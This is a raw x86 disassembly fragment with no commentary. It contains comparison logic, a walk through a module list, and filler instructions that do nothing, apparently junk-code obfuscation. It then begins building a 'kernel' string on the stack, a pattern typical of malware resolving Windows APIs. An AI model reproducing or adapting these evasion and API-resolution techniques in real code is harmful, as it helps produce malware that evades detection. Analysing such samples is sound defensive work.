test edx, edx
jne 0x422196
movzx eax, word [ebp - 0x38]
movzx ecx, word [ebp - 0x20]
sub eax, ecx
mov dword [ebp - 0x214], eax
jmp 0x4221d4
movzx edx, word [ebp - 0x38]
movzx eax, word [ebp - 0x20]
cmp edx, eax
je 0x4220c4
movzx ecx, word [ebp - 0x38]
movzx edx, word [ebp - 0x20]
cmp ecx, edx
jge 0x4221be
mov dword [ebp - 0x210], 0xffffffff
jmp 0x4221c8
mov dword [ebp - 0x210], 1
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x422217
push esi
push edx
add esp, 4
xor esi, 0x184c6
pop esi
push eax
add eax, 0xf007
xor eax, 0x7872
and eax, 0x25b7
and eax, 0x9bde
pop eax
push edx
push esi
add esp, 4
add edx, 0x252
pop edx
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x48], ecx
jmp 0x422270
push esi
and esi, 0xc3c
or esi, 0x9d12
xor esi, 0x3121
or esi, 0x4151
pop esi
push eax
jmp 0x42223a
pop eax
push ebx
and ebx, 0x12e07
or ebx, 0x6765
pop ebx
mov edx, dword [ebp - 0x70]
mov eax, dword [edx]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
cmp ecx, dword [ebp - 0x19c]
je 0x422269
mov edx, dword [ebp - 0x70]
cmp dword [edx + 0x30], 0
jne 0x42206e
mov dword [ebp - 0x48], 0
push eax
push edx
add esp, 4
xor eax, 0x119e1
pop eax
push edx
jmp 0x422283
and edx, 0x160d7
sub edx, 0x132aa
pop edx
push edi
push esi
add esp, 4
or edi, 0x200e
or edi, 0x14aac
pop edi
cmp dword [ebp - 0x48], 0
jne 0x422aa8
mov eax, 0x6b
mov word [ebp - 0x298], ax
mov ecx, 0x65
mov word [ebp - 0x296], cx
mov edx, 0x72
mov word [ebp - 0x294], dx
mov eax, 0x6e
add byte [eax], al